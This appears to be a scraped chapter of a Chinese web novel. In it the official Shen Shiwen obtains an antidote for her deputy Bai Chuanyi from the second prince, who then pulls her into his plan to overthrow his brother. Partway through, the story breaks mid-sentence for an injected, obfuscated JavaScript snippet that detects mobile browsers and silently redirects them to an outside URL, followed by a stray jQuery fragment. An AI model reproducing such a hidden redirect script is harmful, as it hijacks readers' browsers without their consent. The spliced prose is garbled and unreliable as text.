27. 第 27 章
作品:《羊毛毡统治世界》 可惜她的心才刚刚感觉到悸动,那个令它悸动的人就已经要死了。
呸呸呸,沈诗雯,不能这么咒他。
她在心中唾弃自己。
难得相信了一回以前老一辈的迷信,有头有尾的呸呸了三遍。
沈诗雯一直守到了凌晨,白川奕真的很累,这途中他一次都没醒来过。
从月光照耀在地面上,慢慢变成初升的太阳,沈诗雯提着一颗心,小心翼翼的凑近躺在床上人的脸。
她停滞在这个姿势许久,久到数完了一遍身下人的睫毛,最终她用眼睛亲吻了他的脸,然后理了理衣襟坐了起来。
天要亮了,她得启程去找凤玖千了。
她回到书房书信一封,里面正写着让凤将军留意解药的内容。
写完信,她唤了个下属来:“将信完好的送到凤将军手中,一定要快,知道吗?”
下属一低头,应道:“是,属下遵命。”
太阳已经初升,沈诗雯揉了揉太阳穴,她的眼底挂着熬了一宿的青黑,她站起身,收好纸笔,准备出门去找一辆马车。
大门刚被打开,沈诗雯就被人截胡了。
“请大人跟我们来一趟。”来人道。
“不去,我有急事。”沈诗雯绕过此人继续向前走去。
“欸!”来人一个错身有站在她前面,一只手直直拦住沈诗雯的去路。
“等等,大人,我家宁王殿下有请。”
沈诗雯想到宁王之前给她写的信,暗笑他真是空手套白狼,想的真美。
沈诗雯面无表情道:“麻烦告诉你家殿下,我现在有要事在身,不方便去见他。”
那人脸色一变:“你这是敬酒不吃吃罚酒!来人——”
巷子旁突然传来了一道沙哑的笑声,随后有一个想当眼熟的人慢慢从阴影中走了出来。
这位是......沈诗雯看着这个衣着奢侈的男人的眼角,标志性的疤痕,这人乃是二皇子晋邵。
晋邵一挥扇子,啪一声,扇面合拢在他掌心,他道:“怎么了?人来了,怎么不继续了?”
那人一脸吃了苍蝇的样子,脸色憋紫,半晌说不出一句话,不过一个随从,再怎么受重用,趾高气昂,到了二皇子面前也得乖乖服软。
“二,二皇子殿下在啊,那小的就先不打扰你们了。”那人一个眼神示意身后众人,“走,先撤。”
“欸——等等。”晋邵拉长调子,把人留了下来,只听得他说:“以后别来打扰她,跟你家殿下去说,以后沈诗雯就归我了。”
没法子,那人只好垂下头,低声离开了。
沈诗雯看着眼前这一幕闹剧,心里只想着快些离开,她还有更重要的事情要做。
“二皇子殿下,我还有些事情,就先走一步了。”沈诗雯作揖,准备离开。
晋邵拿折扇拦住她:“等等。我有事和你说。”
“我真的有急事,二皇子殿下要是有什么事情,可以等我回来再说。”
沈诗雯油盐不进。
晋邵哗一声打开折扇,掩住自己的面庞,侧着头跟她说:“你是因为你那位副官在发愁吧。”
沈诗雯也不藏着掖着,直接就点了点头:“嗯。”
晋邵道:“你先别急,我可以帮你想办法解决,不过前提是你答应我帮我一件事情。”
沈诗雯反问道:“我凭什么相信你的话?”
晋邵道:“我知道你的副官中的是祆族之毒,这种毒一半医师无法解,但我那三皇弟一直喜欢收集些稀奇古怪的东西,他之前某次刚好送了我一味药材,你猜,这味药是什么?”
沈诗雯一怔。
“没错,就是制作祆族毒药的解药之一,也是最重要最稀缺的一味药,我猜你现在刚好缺少这个。”
这不是瞌睡来了送枕头么,来的正是时候。
沈诗雯道:“二皇子殿下,我可以答应你,但是我需要先将大夫请来看看,如果真的如你所说这般。”
沈诗雯抬头认真的看着他:“那么你提的要求,我都会做到。”
晋邵笑了,那道眼角的伤痕随着他的表情聚拢到一起,有一种说不清道不明的意思,沈诗雯有那么一瞬间察觉到自己上了贼船,但事已至此,白川奕的情况等不起,与其去找凤玖千,肯定是现在直接答应晋邵的要求更加合算。
晋邵道:“可以。”
他一展扇子,比了个请。
、
柳梧生很快到了秋叶苑,院子中的石桌上放着晋邵拿来的药物。
他低头仔细研究了一下,随后眼睛一亮,站起身来对着沈诗雯道:“没错,就是它!”
沈诗雯狠狠呼出一口气,笑了两声:“哈哈,好。”
晋邵则站在旁边悠闲的扇扇子,仿佛自己没有刚刚救回一条人命,而是刚从宴会回来。
晋邵:“怎么样,现在可以和我聊聊了吧?”
沈诗雯给了柳梧生一个眼神,让他先照顾白川奕,自己则是跟着晋邵回了皇宫。
皇宫,二皇子住处。
沈诗雯道:“二皇子殿下,现在有什么需要我帮忙的可以直说了。”
二皇子挥手让侍从关上门,气氛瞬间变得微妙起来。
只见他走到书案旁,一堆文书被他倒在桌上。
“看看吧。”晋邵说道。
沈诗雯看了他一眼,随手拿了一卷看了起来。
越看,她的脸色越不好。
“这是?!”
晋邵微微一笑:“没错,就是你看见的那样,这些都是我皇兄干的。”
这些卷宗文书上写的全是大皇子晋合私下贪污腐败的铁证。
沈诗雯的心缓缓沉了下去,她索性直接把文书王晋邵桌上一放,然后一甩袖作势要离开。
“二皇子殿下,您这可是太高看我了。”她沉声道。
晋邵将食指抵在唇上:“嘘——话可不能这么说。”
他老神在在道:“药材也给你了,条件你也答应了,现在说反悔可来不及了。”
沈诗雯内心扶额,本以为二皇子只是有什么特地需要她做的事情,没想到这是直接将她从一条贼船拉到了另一条贼船上。
晋邵打了个响指,外面传来兵器甲胄碰撞的声音,以及军队整齐有力的踢踏声。
这是箭在弦上不得不发了,外面已经被二皇子的势力包围,沈诗雯最近两天过得魂不守舍,这会儿别说暗卫了,连个侍从都没带。
无奈她只好撤回一个要走的姿势,回到了案前。
沈诗雯双手撑在书案上,低头对着坐着的二皇子道:“你可知你现在要干的是什么事。”
晋邵道:“我当然知道,我不止知道,我还相当清楚。”
晋邵也站了起来,他比沈诗雯的个子高不少,于是他从被俯视变成了被仰视。
晋邵压低自己的身体,眼神和沈诗雯面对面水平对视,他轻声的,一字一顿的说道:“我要把我的皇兄,从那高高在上的位置上拉下来,我要亲自做上那把龙椅,我要、造、反。”
沈诗雯呼吸急促,他得庆幸现在没有窃听器和录音笔,不然,等不到他做到龙椅就已经成为一抹灰了。
这世界是怎么了,一个两个,都想着要坐上那个位置。
思索了会儿,沈诗雯旋即又自嘲一笑。
罢了。
“所以你是想让我做那个揭穿他的人。”
晋邵赞赏的看了她一眼:“没错。”
沈诗雯道:“我会帮你的,不过,记得要保护我的安全。”
晋邵笑着说:“那是当然。”
。
沈诗雯回到秋叶苑的时候,柳梧生已经离开了,院子里飘荡着一股药味,一抹熟悉的身影站在院子中,黑发飘扬,蹭过他的脸庞。
沈诗雯看着他绿色的眸子眼睛一亮,她跑过去:“你醒了。”
“嗯。”白川奕转过头,嘴唇还是很苍白,干裂的唇纹让他徒增一抹脆弱。
沈诗雯道:“外面太冷,你穿的不多,还是在室内待着吧。”
白川奕看着她微微笑了笑,他说:“你忘了,北地更冷。”
沈诗雯道:“那不一样,你现在身体没好。”
白川奕道:“你别担心,柳梧生已经给我吃过药了,我自己的身体我心里有数,现在已经没事了,不过话说回来,你之前出去是?”
沈诗雯叹息道:“和你预料的没什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164272|164916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么两样,这个皇位真是炙手可热啊。”
白川奕安抚:“你无需担忧,白九他们已经到了。”
白九是白川奕的暗卫,他们主要负责的是少主的安全,现在少主的位置给了沈诗雯,这些人自然就是为沈诗雯所用。
白川奕道:“北地的兵力已经准备就绪,谁也威胁不了你。”
沈诗雯张了张嘴,她从未见过如此锋芒毕露的白川奕,哪怕是平时,他一般也是无甚表情的,此刻哪怕他嘴唇苍白,一股由内而外的气质也散发出来。
沈诗雯垂下眼睛,慢慢眨了两下眼睛,又抬头朝他笑:“有你在身边,真的很安心。”
白川奕的白色衣袍被风吹起一角,他拢着大麾走过来,将手臂伸过来,缓缓环抱住沈诗雯的背。
安心的情绪通过胳膊传达到心底。
此刻她只是一位被荷尔蒙短暂支配的人。
不合时宜的眼泪莫名要流下,被她憋了回去。
沈诗雯挣脱开白川奕的怀抱,说道:“快进去吧,不要着凉了。”
两人一同回了卧室,之后的一段时间,风平浪静。
短暂的宁静是风暴来临前的预兆,沈诗雯手扶着木窗沿,注视着淡蓝色的月光想到。
。
几天后,柳梧生匆匆忙忙的拿着份药剂冲到了沈诗雯家门口。
咚咚咚,咚咚咚。
门被他敲得框框响。
沈诗雯打了个哈欠,披上外衣去开门。
她睡眼惺忪的问道:“怎么了,柳梧生,什么事情这么着急?”
柳梧生道:“大人,你居然还能睡得着,您的副官没事了?你看,这个。”他献宝似的将药剂交给沈诗雯。
沈诗雯低头看去,只见包着草药的纸上还押着凤玖千的印章。
沈诗雯惊讶道:“你拿到解药了?”
柳梧生重重点了下头,道:“多亏了凤将军快马加鞭赶回来,我才能提前做出解药,快放我进去,现在我就煮给白副官喝。”
一道雾蒙蒙的嗓音在沈诗雯背后响起,白川奕也刚醒。
“找我有事?”
柳梧生瞪大眼睛,指指沈诗雯,又指指她背后,惊讶道:“白副官已经好了??”
沈诗雯还有点惊讶:“你光凭这样就知道他解毒了?不需要把脉么?”
柳梧生摇了摇头说:“中医包含望闻问切,这样就行了。不过,这个药?”
柳梧生提了提手中的药,似乎非常失落。
沈诗雯接过他手里的药,道:“是有什么事情想让我帮忙吧,药我收下了,刚好白川奕还得再调理调理。”
语毕沈诗雯向身后瞄了眼。
白川奕点了点头。
柳梧生在沈诗雯的邀请下进了秋叶苑,他搓了搓手,面上有些许难为情。
他说:“是这样,我本想拜托大人将三皇子救出来的。”
沈诗雯道:“你可知他犯了什么罪?”
柳梧生低头看着土地,脚尖蹭蹭尘土道:“我知道,但是我......还是想救他,我就这几个朋友,他们都死的死伤的伤,如今要是连晋旋也!”
说着说着柳梧生就激动起来。
沈诗雯神秘的笑了笑,回答道:“知道了,本来我是不打算帮你的,不过——”
她卖了个关子。
“看在你尽心尽力治疗白川奕的份上,我就破例一次。”
沈诗雯道:“你不必担心,时候到了我就会救他,算算日子也快了。”
一月后就是大皇子的登基大典了,到时候,所有势力都会倾巢而出,既然二皇子要夺位,到时候场面肯定会很混乱,沈诗雯估计宁王也会挑选这个时刻下手,不过,到时候这个王位真正鹿死谁手,还说不定呢。
柳梧生一头雾水,不过既然他的要求已经被满足,他也就不再打扰沈诗雯了。
柳梧生离开后,白川奕才缓缓渡步过来。
“想好了?”
他那一张脸没什么表情,沈诗雯看不透他在想什么。
两人之间的距离有些近,沈诗雯后撤一步,转向寝卧的方向。
风带着回答飘进白川奕的耳中。
“嗯。”